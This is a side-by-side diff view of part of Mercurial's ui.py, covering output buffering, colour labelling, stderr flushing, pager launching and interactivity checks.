1122 '''pop the last buffer and return the buffered output'''
1121 self._bufferstates.pop()
1123 self._bufferstates.pop()
1122 if self._bufferstates:
1124 if self._bufferstates:
1123 self._bufferapplylabels = self._bufferstates[-1][2]
1125 self._bufferapplylabels = self._bufferstates[-1][2]
1124 else:
1126 else:
1125 self._bufferapplylabels = None
1127 self._bufferapplylabels = None
1126
1128
1127 return b"".join(self._buffers.pop())
1129 return b"".join(self._buffers.pop())
1128
1130
1129 def _isbuffered(self, dest):
1131 def _isbuffered(self, dest):
1130 if dest is self._fout:
1132 if dest is self._fout:
1131 return bool(self._buffers)
1133 return bool(self._buffers)
1132 if dest is self._ferr:
1134 if dest is self._ferr:
1133 return bool(self._bufferstates and self._bufferstates[-1][0])
1135 return bool(self._bufferstates and self._bufferstates[-1][0])
1134 return False
1136 return False
1135
1137
1136 def canwritewithoutlabels(self):
1138 def canwritewithoutlabels(self):
1137 '''check if write skips the label'''
1139 '''check if write skips the label'''
1138 if self._buffers and not self._bufferapplylabels:
1140 if self._buffers and not self._bufferapplylabels:
1139 return True
1141 return True
1140 return self._colormode is None
1142 return self._colormode is None
1141
1143
1142 def canbatchlabeledwrites(self):
1144 def canbatchlabeledwrites(self):
1143 '''check if write calls with labels are batchable'''
1145 '''check if write calls with labels are batchable'''
1144 # Windows color printing is special, see ``write``.
1146 # Windows color printing is special, see ``write``.
1145 return self._colormode != b'win32'
1147 return self._colormode != b'win32'
1146
1148
1147 def write(self, *args, **opts):
1149 def write(self, *args, **opts):
1148 """write args to output
1150 """write args to output
1149
1151
1150 By default, this method simply writes to the buffer or stdout.
1152 By default, this method simply writes to the buffer or stdout.
1151 Color mode can be set on the UI class to have the output decorated
1153 Color mode can be set on the UI class to have the output decorated
1152 with color modifier before being written to stdout.
1154 with color modifier before being written to stdout.
1153
1155
1154 The color used is controlled by an optional keyword argument, "label".
1156 The color used is controlled by an optional keyword argument, "label".
1155 This should be a string containing label names separated by space.
1157 This should be a string containing label names separated by space.
1156 Label names take the form of "topic.type". For example, ui.debug()
1158 Label names take the form of "topic.type". For example, ui.debug()
1157 issues a label of "ui.debug".
1159 issues a label of "ui.debug".
1158
1160
1159 Progress reports via stderr are normally cleared before writing as
1161 Progress reports via stderr are normally cleared before writing as
1160 stdout and stderr go to the same terminal. This can be skipped with
1162 stdout and stderr go to the same terminal. This can be skipped with
1161 the optional keyword argument "keepprogressbar". The progress bar
1163 the optional keyword argument "keepprogressbar". The progress bar
1162 will continue to occupy a partial line on stderr in that case.
1164 will continue to occupy a partial line on stderr in that case.
1163 This functionality is intended when Mercurial acts as data source
1165 This functionality is intended when Mercurial acts as data source
1164 in a pipe.
1166 in a pipe.
1165
1167
1166 When labeling output for a specific command, a label of
1168 When labeling output for a specific command, a label of
1167 "cmdname.type" is recommended. For example, status issues
1169 "cmdname.type" is recommended. For example, status issues
1168 a label of "status.modified" for modified files.
1170 a label of "status.modified" for modified files.
1169 """
1171 """
1170 dest = self._fout
1172 dest = self._fout
1171
1173
1172 # inlined _write() for speed
1174 # inlined _write() for speed
1173 if self._buffers:
1175 if self._buffers:
1174 label = opts.get('label', b'')
1176 label = opts.get('label', b'')
1175 if label and self._bufferapplylabels:
1177 if label and self._bufferapplylabels:
1176 self._buffers[-1].extend(self.label(a, label) for a in args)
1178 self._buffers[-1].extend(self.label(a, label) for a in args)
1177 else:
1179 else:
1178 self._buffers[-1].extend(args)
1180 self._buffers[-1].extend(args)
1179 return
1181 return
1180
1182
1181 # inlined _writenobuf() for speed
1183 # inlined _writenobuf() for speed
1182 if not opts.get('keepprogressbar', False):
1184 if not opts.get('keepprogressbar', False):
1183 self._progclear()
1185 self._progclear()
1184 msg = b''.join(args)
1186 msg = b''.join(args)
1185
1187
1186 # opencode timeblockedsection because this is a critical path
1188 # opencode timeblockedsection because this is a critical path
1187 starttime = util.timer()
1189 starttime = util.timer()
1188 try:
1190 try:
1189 if self._colormode == b'win32':
1191 if self._colormode == b'win32':
1190 # windows color printing is its own can of crab, defer to
1192 # windows color printing is its own can of crab, defer to
1191 # the color module and that is it.
1193 # the color module and that is it.
1192 color.win32print(self, dest.write, msg, **opts)
1194 color.win32print(self, dest.write, msg, **opts)
1193 else:
1195 else:
1194 if self._colormode is not None:
1196 if self._colormode is not None:
1195 label = opts.get('label', b'')
1197 label = opts.get('label', b'')
1196 msg = self.label(msg, label)
1198 msg = self.label(msg, label)
1197 dest.write(msg)
1199 dest.write(msg)
1198 except IOError as err:
1200 except IOError as err:
1199 raise error.StdioError(err)
1201 raise error.StdioError(err)
1200 finally:
1202 finally:
1201 self._blockedtimes[b'stdio_blocked'] += (
1203 self._blockedtimes[b'stdio_blocked'] += (
1202 util.timer() - starttime
1204 util.timer() - starttime
1203 ) * 1000
1205 ) * 1000
1204
1206
1205 def write_err(self, *args, **opts):
1207 def write_err(self, *args, **opts):
1206 self._write(self._ferr, *args, **opts)
1208 self._write(self._ferr, *args, **opts)
1207
1209
1208 def _write(self, dest, *args, **opts):
1210 def _write(self, dest, *args, **opts):
1209 # update write() as well if you touch this code
1211 # update write() as well if you touch this code
1210 if self._isbuffered(dest):
1212 if self._isbuffered(dest):
1211 label = opts.get('label', b'')
1213 label = opts.get('label', b'')
1212 if label and self._bufferapplylabels:
1214 if label and self._bufferapplylabels:
1213 self._buffers[-1].extend(self.label(a, label) for a in args)
1215 self._buffers[-1].extend(self.label(a, label) for a in args)
1214 else:
1216 else:
1215 self._buffers[-1].extend(args)
1217 self._buffers[-1].extend(args)
1216 else:
1218 else:
1217 self._writenobuf(dest, *args, **opts)
1219 self._writenobuf(dest, *args, **opts)
1218
1220
1219 def _writenobuf(self, dest, *args, **opts):
1221 def _writenobuf(self, dest, *args, **opts):
1220 # update write() as well if you touch this code
1222 # update write() as well if you touch this code
1221 if not opts.get('keepprogressbar', False):
1223 if not opts.get('keepprogressbar', False):
1222 self._progclear()
1224 self._progclear()
1223 msg = b''.join(args)
1225 msg = b''.join(args)
1224
1226
1225 # opencode timeblockedsection because this is a critical path
1227 # opencode timeblockedsection because this is a critical path
1226 starttime = util.timer()
1228 starttime = util.timer()
1227 try:
1229 try:
1228 if dest is self._ferr and not getattr(self._fout, 'closed', False):
1230 if dest is self._ferr and not getattr(self._fout, 'closed', False):
1229 self._fout.flush()
1231 self._fout.flush()
1230 if getattr(dest, 'structured', False):
1232 if getattr(dest, 'structured', False):
1231 # channel for machine-readable output with metadata, where
1233 # channel for machine-readable output with metadata, where
1232 # no extra colorization is necessary.
1234 # no extra colorization is necessary.
1233 dest.write(msg, **opts)
1235 dest.write(msg, **opts)
1234 elif self._colormode == b'win32':
1236 elif self._colormode == b'win32':
1235 # windows color printing is its own can of crab, defer to
1237 # windows color printing is its own can of crab, defer to
1236 # the color module and that is it.
1238 # the color module and that is it.
1237 color.win32print(self, dest.write, msg, **opts)
1239 color.win32print(self, dest.write, msg, **opts)
1238 else:
1240 else:
1239 if self._colormode is not None:
1241 if self._colormode is not None:
1240 label = opts.get('label', b'')
1242 label = opts.get('label', b'')
1241 msg = self.label(msg, label)
1243 msg = self.label(msg, label)
1242 dest.write(msg)
1244 dest.write(msg)
1243 # stderr may be buffered under win32 when redirected to files,
1245 # stderr may be buffered under win32 when redirected to files,
1244 # including stdout.
1246 # including stdout.
1245 if dest is self._ferr and not getattr(dest, 'closed', False):
1247 if dest is self._ferr and not getattr(dest, 'closed', False):
1246 dest.flush()
1248 dest.flush()
1247 except IOError as err:
1249 except IOError as err:
1248 if dest is self._ferr and err.errno in (
1250 if dest is self._ferr and err.errno in (
1249 errno.EPIPE,
1251 errno.EPIPE,
1250 errno.EIO,
1252 errno.EIO,
1251 errno.EBADF,
1253 errno.EBADF,
1252 ):
1254 ):
1253 # no way to report the error, so ignore it
1255 # no way to report the error, so ignore it
1254 return
1256 return
1255 raise error.StdioError(err)
1257 raise error.StdioError(err)
1256 finally:
1258 finally:
1257 self._blockedtimes[b'stdio_blocked'] += (
1259 self._blockedtimes[b'stdio_blocked'] += (
1258 util.timer() - starttime
1260 util.timer() - starttime
1259 ) * 1000
1261 ) * 1000
1260
1262
1261 def _writemsg(self, dest, *args, **opts):
1263 def _writemsg(self, dest, *args, **opts):
1262 timestamp = self.showtimestamp and opts.get('type') in {
1264 timestamp = self.showtimestamp and opts.get('type') in {
1263 b'debug',
1265 b'debug',
1264 b'error',
1266 b'error',
1265 b'note',
1267 b'note',
1266 b'status',
1268 b'status',
1267 b'warning',
1269 b'warning',
1268 }
1270 }
1269 if timestamp:
1271 if timestamp:
1270 args = (
1272 args = (
1271 b'[%s] '
1273 b'[%s] '
1272 % pycompat.bytestr(datetime.datetime.now().isoformat()),
1274 % pycompat.bytestr(datetime.datetime.now().isoformat()),
1273 ) + args
1275 ) + args
1274 _writemsgwith(self._write, dest, *args, **opts)
1276 _writemsgwith(self._write, dest, *args, **opts)
1275 if timestamp:
1277 if timestamp:
1276 dest.flush()
1278 dest.flush()
1277
1279
1278 def _writemsgnobuf(self, dest, *args, **opts):
1280 def _writemsgnobuf(self, dest, *args, **opts):
1279 _writemsgwith(self._writenobuf, dest, *args, **opts)
1281 _writemsgwith(self._writenobuf, dest, *args, **opts)
1280
1282
1281 def flush(self):
1283 def flush(self):
1282 # opencode timeblockedsection because this is a critical path
1284 # opencode timeblockedsection because this is a critical path
1283 starttime = util.timer()
1285 starttime = util.timer()
1284 try:
1286 try:
1285 try:
1287 try:
1286 self._fout.flush()
1288 self._fout.flush()
1287 except IOError as err:
1289 except IOError as err:
1288 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1290 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1289 raise error.StdioError(err)
1291 raise error.StdioError(err)
1290 finally:
1292 finally:
1291 try:
1293 try:
1292 self._ferr.flush()
1294 self._ferr.flush()
1293 except IOError as err:
1295 except IOError as err:
1294 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1296 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1295 raise error.StdioError(err)
1297 raise error.StdioError(err)
1296 finally:
1298 finally:
1297 self._blockedtimes[b'stdio_blocked'] += (
1299 self._blockedtimes[b'stdio_blocked'] += (
1298 util.timer() - starttime
1300 util.timer() - starttime
1299 ) * 1000
1301 ) * 1000
1300
1302
1301 def _isatty(self, fh):
1303 def _isatty(self, fh):
1302 if self.configbool(b'ui', b'nontty'):
1304 if self.configbool(b'ui', b'nontty'):
1303 return False
1305 return False
1304 return procutil.isatty(fh)
1306 return procutil.isatty(fh)
1305
1307
1306 def protectfinout(self):
1308 def protectfinout(self):
1307 """Duplicate ui streams and redirect original if they are stdio
1309 """Duplicate ui streams and redirect original if they are stdio
1308
1310
1309 Returns (fin, fout) which point to the original ui fds, but may be
1311 Returns (fin, fout) which point to the original ui fds, but may be
1310 copy of them. The returned streams can be considered "owned" in that
1312 copy of them. The returned streams can be considered "owned" in that
1311 print(), exec(), etc. never reach to them.
1313 print(), exec(), etc. never reach to them.
1312 """
1314 """
1313 if self._finoutredirected:
1315 if self._finoutredirected:
1314 # if already redirected, protectstdio() would just create another
1316 # if already redirected, protectstdio() would just create another
1315 # nullfd pair, which is equivalent to returning self._fin/_fout.
1317 # nullfd pair, which is equivalent to returning self._fin/_fout.
1316 return self._fin, self._fout
1318 return self._fin, self._fout
1317 fin, fout = procutil.protectstdio(self._fin, self._fout)
1319 fin, fout = procutil.protectstdio(self._fin, self._fout)
1318 self._finoutredirected = (fin, fout) != (self._fin, self._fout)
1320 self._finoutredirected = (fin, fout) != (self._fin, self._fout)
1319 return fin, fout
1321 return fin, fout
1320
1322
1321 def restorefinout(self, fin, fout):
1323 def restorefinout(self, fin, fout):
1322 """Restore ui streams from possibly duplicated (fin, fout)"""
1324 """Restore ui streams from possibly duplicated (fin, fout)"""
1323 if (fin, fout) == (self._fin, self._fout):
1325 if (fin, fout) == (self._fin, self._fout):
1324 return
1326 return
1325 procutil.restorestdio(self._fin, self._fout, fin, fout)
1327 procutil.restorestdio(self._fin, self._fout, fin, fout)
1326 # protectfinout() won't create more than one duplicated streams,
1328 # protectfinout() won't create more than one duplicated streams,
1327 # so we can just turn the redirection flag off.
1329 # so we can just turn the redirection flag off.
1328 self._finoutredirected = False
1330 self._finoutredirected = False
1329
1331
1330 @contextlib.contextmanager
1332 @contextlib.contextmanager
1331 def protectedfinout(self):
1333 def protectedfinout(self):
1332 """Run code block with protected standard streams"""
1334 """Run code block with protected standard streams"""
1333 fin, fout = self.protectfinout()
1335 fin, fout = self.protectfinout()
1334 try:
1336 try:
1335 yield fin, fout
1337 yield fin, fout
1336 finally:
1338 finally:
1337 self.restorefinout(fin, fout)
1339 self.restorefinout(fin, fout)
1338
1340
1339 def disablepager(self):
1341 def disablepager(self):
1340 self._disablepager = True
1342 self._disablepager = True
1341
1343
1342 def pager(self, command):
1344 def pager(self, command):
1343 """Start a pager for subsequent command output.
1345 """Start a pager for subsequent command output.
1344
1346
1345 Commands which produce a long stream of output should call
1347 Commands which produce a long stream of output should call
1346 this function to activate the user's preferred pagination
1348 this function to activate the user's preferred pagination
1347 mechanism (which may be no pager). Calling this function
1349 mechanism (which may be no pager). Calling this function
1348 precludes any future use of interactive functionality, such as
1350 precludes any future use of interactive functionality, such as
1349 prompting the user or activating curses.
1351 prompting the user or activating curses.
1350
1352
1351 Args:
1353 Args:
1352 command: The full, non-aliased name of the command. That is, "log"
1354 command: The full, non-aliased name of the command. That is, "log"
1353 not "history, "summary" not "summ", etc.
1355 not "history, "summary" not "summ", etc.
1354 """
1356 """
1355 if self._disablepager or self.pageractive:
1357 if self._disablepager or self.pageractive:
1356 # how pager should do is already determined
1358 # how pager should do is already determined
1357 return
1359 return
1358
1360
1359 if not command.startswith(b'internal-always-') and (
1361 if not command.startswith(b'internal-always-') and (
1360 # explicit --pager=on (= 'internal-always-' prefix) should
1362 # explicit --pager=on (= 'internal-always-' prefix) should
1361 # take precedence over disabling factors below
1363 # take precedence over disabling factors below
1362 command in self.configlist(b'pager', b'ignore')
1364 command in self.configlist(b'pager', b'ignore')
1363 or not self.configbool(b'ui', b'paginate')
1365 or not self.configbool(b'ui', b'paginate')
1364 or not self.configbool(b'pager', b'attend-' + command, True)
1366 or not self.configbool(b'pager', b'attend-' + command, True)
1365 or encoding.environ.get(b'TERM') == b'dumb'
1367 or encoding.environ.get(b'TERM') == b'dumb'
1366 # TODO: if we want to allow HGPLAINEXCEPT=pager,
1368 # TODO: if we want to allow HGPLAINEXCEPT=pager,
1367 # formatted() will need some adjustment.
1369 # formatted() will need some adjustment.
1368 or not self.formatted()
1370 or not self.formatted()
1369 or self.plain()
1371 or self.plain()
1370 or self._buffers
1372 or self._buffers
1371 # TODO: expose debugger-enabled on the UI object
1373 # TODO: expose debugger-enabled on the UI object
1372 or b'--debugger' in pycompat.sysargv
1374 or b'--debugger' in pycompat.sysargv
1373 ):
1375 ):
1374 # We only want to paginate if the ui appears to be
1376 # We only want to paginate if the ui appears to be
1375 # interactive, the user didn't say HGPLAIN or
1377 # interactive, the user didn't say HGPLAIN or
1376 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
1378 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
1377 return
1379 return
1378
1380
1379 pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager)
1381 pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager)
1380 if not pagercmd:
1382 if not pagercmd:
1381 return
1383 return
1382
1384
1383 pagerenv = {}
1385 pagerenv = {}
1384 for name, value in rcutil.defaultpagerenv().items():
1386 for name, value in rcutil.defaultpagerenv().items():
1385 if name not in encoding.environ:
1387 if name not in encoding.environ:
1386 pagerenv[name] = value
1388 pagerenv[name] = value
1387
1389
1388 self.debug(
1390 self.debug(
1389 b'starting pager for command %s\n' % stringutil.pprint(command)
1391 b'starting pager for command %s\n' % stringutil.pprint(command)
1390 )
1392 )
1391 self.flush()
1393 self.flush()
1392
1394
1393 wasformatted = self.formatted()
1395 wasformatted = self.formatted()
1394 if util.safehasattr(signal, b"SIGPIPE"):
1396 if util.safehasattr(signal, b"SIGPIPE"):
1395 signal.signal(signal.SIGPIPE, _catchterm)
1397 signal.signal(signal.SIGPIPE, _catchterm)
1396 if self._runpager(pagercmd, pagerenv):
1398 if self._runpager(pagercmd, pagerenv):
1397 self.pageractive = True
1399 self.pageractive = True
1398 # Preserve the formatted-ness of the UI. This is important
1400 # Preserve the formatted-ness of the UI. This is important
1399 # because we mess with stdout, which might confuse
1401 # because we mess with stdout, which might confuse
1400 # auto-detection of things being formatted.
1402 # auto-detection of things being formatted.
1401 self.setconfig(b'ui', b'formatted', wasformatted, b'pager')
1403 self.setconfig(b'ui', b'formatted', wasformatted, b'pager')
1402 self.setconfig(b'ui', b'interactive', False, b'pager')
1404 self.setconfig(b'ui', b'interactive', False, b'pager')
1403
1405
1404 # If pagermode differs from color.mode, reconfigure color now that
1406 # If pagermode differs from color.mode, reconfigure color now that
1405 # pageractive is set.
1407 # pageractive is set.
1406 cm = self._colormode
1408 cm = self._colormode
1407 if cm != self.config(b'color', b'pagermode', cm):
1409 if cm != self.config(b'color', b'pagermode', cm):
1408 color.setup(self)
1410 color.setup(self)
1409 else:
1411 else:
1410 # If the pager can't be spawned in dispatch when --pager=on is
1412 # If the pager can't be spawned in dispatch when --pager=on is
1411 # given, don't try again when the command runs, to avoid a duplicate
1413 # given, don't try again when the command runs, to avoid a duplicate
1412 # warning about a missing pager command.
1414 # warning about a missing pager command.
1413 self.disablepager()
1415 self.disablepager()
1414
1416
1415 def _runpager(self, command, env=None):
1417 def _runpager(self, command, env=None):
1416 """Actually start the pager and set up file descriptors.
1418 """Actually start the pager and set up file descriptors.
1417
1419
1418 This is separate in part so that extensions (like chg) can
1420 This is separate in part so that extensions (like chg) can
1419 override how a pager is invoked.
1421 override how a pager is invoked.
1420 """
1422 """
1421 if command == b'cat':
1423 if command == b'cat':
1422 # Save ourselves some work.
1424 # Save ourselves some work.
1423 return False
1425 return False
1424 # If the command doesn't contain any of these characters, we
1426 # If the command doesn't contain any of these characters, we
1425 # assume it's a binary and exec it directly. This means for
1427 # assume it's a binary and exec it directly. This means for
1426 # simple pager command configurations, we can degrade
1428 # simple pager command configurations, we can degrade
1427 # gracefully and tell the user about their broken pager.
1429 # gracefully and tell the user about their broken pager.
1428 shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%")
1430 shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%")
1429
1431
1430 if pycompat.iswindows and not shell:
1432 if pycompat.iswindows and not shell:
1431 # Window's built-in `more` cannot be invoked with shell=False, but
1433 # Window's built-in `more` cannot be invoked with shell=False, but
1432 # its `more.com` can. Hide this implementation detail from the
1434 # its `more.com` can. Hide this implementation detail from the
1433 # user so we can also get sane bad PAGER behavior. MSYS has
1435 # user so we can also get sane bad PAGER behavior. MSYS has
1434 # `more.exe`, so do a cmd.exe style resolution of the executable to
1436 # `more.exe`, so do a cmd.exe style resolution of the executable to
1435 # determine which one to use.
1437 # determine which one to use.
1436 fullcmd = procutil.findexe(command)
1438 fullcmd = procutil.findexe(command)
1437 if not fullcmd:
1439 if not fullcmd:
1438 self.warn(
1440 self.warn(
1439 _(b"missing pager command '%s', skipping pager\n") % command
1441 _(b"missing pager command '%s', skipping pager\n") % command
1440 )
1442 )
1441 return False
1443 return False
1442
1444
1443 command = fullcmd
1445 command = fullcmd
1444
1446
1445 try:
1447 try:
1446 pager = subprocess.Popen(
1448 pager = subprocess.Popen(
1447 procutil.tonativestr(command),
1449 procutil.tonativestr(command),
1448 shell=shell,
1450 shell=shell,
1449 bufsize=-1,
1451 bufsize=-1,
1450 close_fds=procutil.closefds,
1452 close_fds=procutil.closefds,
1451 stdin=subprocess.PIPE,
1453 stdin=subprocess.PIPE,
1452 stdout=procutil.stdout,
1454 stdout=procutil.stdout,
1453 stderr=procutil.stderr,
1455 stderr=procutil.stderr,
1454 env=procutil.tonativeenv(procutil.shellenviron(env)),
1456 env=procutil.tonativeenv(procutil.shellenviron(env)),
1455 )
1457 )
1456 except OSError as e:
1458 except OSError as e:
1457 if e.errno == errno.ENOENT and not shell:
1459 if e.errno == errno.ENOENT and not shell:
1458 self.warn(
1460 self.warn(
1459 _(b"missing pager command '%s', skipping pager\n") % command
1461 _(b"missing pager command '%s', skipping pager\n") % command
1460 )
1462 )
1461 return False
1463 return False
1462 raise
1464 raise
1463
1465
1464 # back up original file descriptors
1466 # back up original file descriptors
1465 stdoutfd = os.dup(procutil.stdout.fileno())
1467 stdoutfd = os.dup(procutil.stdout.fileno())
1466 stderrfd = os.dup(procutil.stderr.fileno())
1468 stderrfd = os.dup(procutil.stderr.fileno())
1467
1469
1468 os.dup2(pager.stdin.fileno(), procutil.stdout.fileno())
1470 os.dup2(pager.stdin.fileno(), procutil.stdout.fileno())
1469 if self._isatty(procutil.stderr):
1471 if self._isatty(procutil.stderr):
1470 os.dup2(pager.stdin.fileno(), procutil.stderr.fileno())
1472 os.dup2(pager.stdin.fileno(), procutil.stderr.fileno())
1471
1473
1472 @self.atexit
1474 @self.atexit
1473 def killpager():
1475 def killpager():
1474 if util.safehasattr(signal, b"SIGINT"):
1476 if util.safehasattr(signal, b"SIGINT"):
1475 signal.signal(signal.SIGINT, signal.SIG_IGN)
1477 signal.signal(signal.SIGINT, signal.SIG_IGN)
1476 # restore original fds, closing pager.stdin copies in the process
1478 # restore original fds, closing pager.stdin copies in the process
1477 os.dup2(stdoutfd, procutil.stdout.fileno())
1479 os.dup2(stdoutfd, procutil.stdout.fileno())
1478 os.dup2(stderrfd, procutil.stderr.fileno())
1480 os.dup2(stderrfd, procutil.stderr.fileno())
1479 pager.stdin.close()
1481 pager.stdin.close()
1480 pager.wait()
1482 pager.wait()
1481
1483
1482 return True
1484 return True
1483
1485
1484 @property
1486 @property
1485 def _exithandlers(self):
1487 def _exithandlers(self):
1486 return _reqexithandlers
1488 return _reqexithandlers
1487
1489
1488 def atexit(self, func, *args, **kwargs):
1490 def atexit(self, func, *args, **kwargs):
1489 """register a function to run after dispatching a request
1491 """register a function to run after dispatching a request
1490
1492
1491 Handlers do not stay registered across request boundaries."""
1493 Handlers do not stay registered across request boundaries."""
1492 self._exithandlers.append((func, args, kwargs))
1494 self._exithandlers.append((func, args, kwargs))
1493 return func
1495 return func
1494
1496
1495 def interface(self, feature):
1497 def interface(self, feature):
1496 """what interface to use for interactive console features?
1498 """what interface to use for interactive console features?
1497
1499
1498 The interface is controlled by the value of `ui.interface` but also by
1500 The interface is controlled by the value of `ui.interface` but also by
1499 the value of feature-specific configuration. For example:
1501 the value of feature-specific configuration. For example:
1500
1502
1501 ui.interface.histedit = text
1503 ui.interface.histedit = text
1502 ui.interface.chunkselector = curses
1504 ui.interface.chunkselector = curses
1503
1505
1504 Here the features are "histedit" and "chunkselector".
1506 Here the features are "histedit" and "chunkselector".
1505
1507
1506 The configuration above means that the default interfaces for commands
1508 The configuration above means that the default interfaces for commands
1507 is curses, the interface for histedit is text and the interface for
1509 is curses, the interface for histedit is text and the interface for
1508 selecting chunk is crecord (the best curses interface available).
1510 selecting chunk is crecord (the best curses interface available).
1509
1511
1510 Consider the following example:
1512 Consider the following example:
1511 ui.interface = curses
1513 ui.interface = curses
1512 ui.interface.histedit = text
1514 ui.interface.histedit = text
1513
1515
1514 Then histedit will use the text interface and chunkselector will use
1516 Then histedit will use the text interface and chunkselector will use
1515 the default curses interface (crecord at the moment).
1517 the default curses interface (crecord at the moment).
1516 """
1518 """
1517 alldefaults = frozenset([b"text", b"curses"])
1519 alldefaults = frozenset([b"text", b"curses"])
1518
1520
1519 featureinterfaces = {
1521 featureinterfaces = {
1520 b"chunkselector": [
1522 b"chunkselector": [
1521 b"text",
1523 b"text",
1522 b"curses",
1524 b"curses",
1523 ],
1525 ],
1524 b"histedit": [
1526 b"histedit": [
1525 b"text",
1527 b"text",
1526 b"curses",
1528 b"curses",
1527 ],
1529 ],
1528 }
1530 }
1529
1531
1530 # Feature-specific interface
1532 # Feature-specific interface
1531 if feature not in featureinterfaces.keys():
1533 if feature not in featureinterfaces.keys():
1532 # Programming error, not user error
1534 # Programming error, not user error
1533 raise ValueError(b"Unknown feature requested %s" % feature)
1535 raise ValueError(b"Unknown feature requested %s" % feature)
1534
1536
1535 availableinterfaces = frozenset(featureinterfaces[feature])
1537 availableinterfaces = frozenset(featureinterfaces[feature])
1536 if alldefaults > availableinterfaces:
1538 if alldefaults > availableinterfaces:
1537 # Programming error, not user error. We need a use case to
1539 # Programming error, not user error. We need a use case to
1538 # define the right thing to do here.
1540 # define the right thing to do here.
1539 raise ValueError(
1541 raise ValueError(
1540 b"Feature %s does not handle all default interfaces" % feature
1542 b"Feature %s does not handle all default interfaces" % feature
1541 )
1543 )
1542
1544
1543 if self.plain() or encoding.environ.get(b'TERM') == b'dumb':
1545 if self.plain() or encoding.environ.get(b'TERM') == b'dumb':
1544 return b"text"
1546 return b"text"
1545
1547
1546 # Default interface for all the features
1548 # Default interface for all the features
1547 defaultinterface = b"text"
1549 defaultinterface = b"text"
1548 i = self.config(b"ui", b"interface")
1550 i = self.config(b"ui", b"interface")
1549 if i in alldefaults:
1551 if i in alldefaults:
1550 defaultinterface = i
1552 defaultinterface = i
1551
1553
1552 choseninterface = defaultinterface
1554 choseninterface = defaultinterface
1553 f = self.config(b"ui", b"interface.%s" % feature)
1555 f = self.config(b"ui", b"interface.%s" % feature)
1554 if f in availableinterfaces:
1556 if f in availableinterfaces:
1555 choseninterface = f
1557 choseninterface = f
1556
1558
1557 if i is not None and defaultinterface != i:
1559 if i is not None and defaultinterface != i:
1558 if f is not None:
1560 if f is not None:
1559 self.warn(_(b"invalid value for ui.interface: %s\n") % (i,))
1561 self.warn(_(b"invalid value for ui.interface: %s\n") % (i,))
1560 else:
1562 else:
1561 self.warn(
1563 self.warn(
1562 _(b"invalid value for ui.interface: %s (using %s)\n")
1564 _(b"invalid value for ui.interface: %s (using %s)\n")
1563 % (i, choseninterface)
1565 % (i, choseninterface)
1564 )
1566 )
1565 if f is not None and choseninterface != f:
1567 if f is not None and choseninterface != f:
1566 self.warn(
1568 self.warn(
1567 _(b"invalid value for ui.interface.%s: %s (using %s)\n")
1569 _(b"invalid value for ui.interface.%s: %s (using %s)\n")
1568 % (feature, f, choseninterface)
1570 % (feature, f, choseninterface)
1569 )
1571 )
1570
1572
1571 return choseninterface
1573 return choseninterface
1572
1574
1573 def interactive(self):
1575 def interactive(self):
1574 """is interactive input allowed?
1576 """is interactive input allowed?
1575
1577
1576 An interactive session is a session where input can be reasonably read
1578 An interactive session is a session where input can be reasonably read
1577 from `sys.stdin'. If this function returns false, any attempt to read
1579 from `sys.stdin'. If this function returns false, any attempt to read
1578 from stdin should fail with an error, unless a sensible default has been
1580 from stdin should fail with an error, unless a sensible default has been
1579 specified.
1581 specified.
1580
1582
1581 Interactiveness is triggered by the value of the `ui.interactive'
1583 Interactiveness is triggered by the value of the `ui.interactive'
1582 configuration variable or - if it is unset - when `sys.stdin' points
1584 configuration variable or - if it is unset - when `sys.stdin' points
1583 to a terminal device.
1585 to a terminal device.
1584
1586
1585 This function refers to input only; for output, see `ui.formatted()'.
1587 This function refers to input only; for output, see `ui.formatted()'.
1586 """
1588 """
1587 i = self.configbool(b"ui", b"interactive")
1589 i = self.configbool(b"ui", b"interactive")
1588 if i is None:
1590 if i is None:
1589 # some environments replace stdin without implementing isatty
1591 # some environments replace stdin without implementing isatty
1590 # usually those are non-interactive
1592 # usually those are non-interactive
1591 return self._isatty(self._fin)
1593 return self._isatty(self._fin)
1592
1594
1593 return i
1595 return i
1594
1596
1595 def termwidth(self):
1597 def termwidth(self):
1596 """how wide is the terminal in columns?"""
1598 """how wide is the terminal in columns?"""
1597 if b'COLUMNS' in encoding.environ:
1599 if b'COLUMNS' in encoding.environ:
1598 try:
1600 try:
1599 return int(encoding.environ[b'COLUMNS'])
1601 return int(encoding.environ[b'COLUMNS'])
1600 except ValueError:
1602 except ValueError:
1601 pass
1603 pass
1602 return scmutil.termsize(self)[0]
1604 return scmutil.termsize(self)[0]
1603
1605
1604 def formatted(self):
1606 def formatted(self):
1605 """should formatted output be used?
1607 """should formatted output be used?
1606
1608
1607 It is often desirable to format the output to suite the output medium.
1609 It is often desirable to format the output to suite the output medium.
1608 Examples of this are truncating long lines or colorizing messages.
1610 Examples of this are truncating long lines or colorizing messages.
1609 However, this is not often not desirable when piping output into other
1611 However, this is not often not desirable when piping output into other
1610 utilities, e.g. `grep'.
1612 utilities, e.g. `grep'.
1611
1613
1612 Formatted output is triggered by the value of the `ui.formatted'
1614 Formatted output is triggered by the value of the `ui.formatted'
1613 configuration variable or - if it is unset - when `sys.stdout' points
1615 configuration variable or - if it is unset - when `sys.stdout' points
1614 to a terminal device. Please note that `ui.formatted' should be
1616 to a terminal device. Please note that `ui.formatted' should be
1615 considered an implementation detail; it is not intended for use outside
1617 considered an implementation detail; it is not intended for use outside
1616 Mercurial or its extensions.
1618 Mercurial or its extensions.
1617
1619
1618 This function refers to output only; for input, see `ui.interactive()'.
1620 This function refers to output only; for input, see `ui.interactive()'.
1619 This function always returns false when in plain mode, see `ui.plain()'.
1621 This function always returns false when in plain mode, see `ui.plain()'.
1620 """
1622 """
1621 if self.plain():
1623 if self.plain():
1622 return False
1624 return False
1623
1625
1624 i = self.configbool(b"ui", b"formatted")
1626 i = self.configbool(b"ui", b"formatted")
1625 if i is None:
1627 if i is None:
1626 # some environments replace stdout without implementing isatty
1628 # some environments replace stdout without implementing isatty
1627 # usually those are non-interactive
1629 # usually those are non-interactive
1628 return self._isatty(self._fout)
1630 return self._isatty(self._fout)
1629
1631
1630 return i
1632 return i
1631
1633
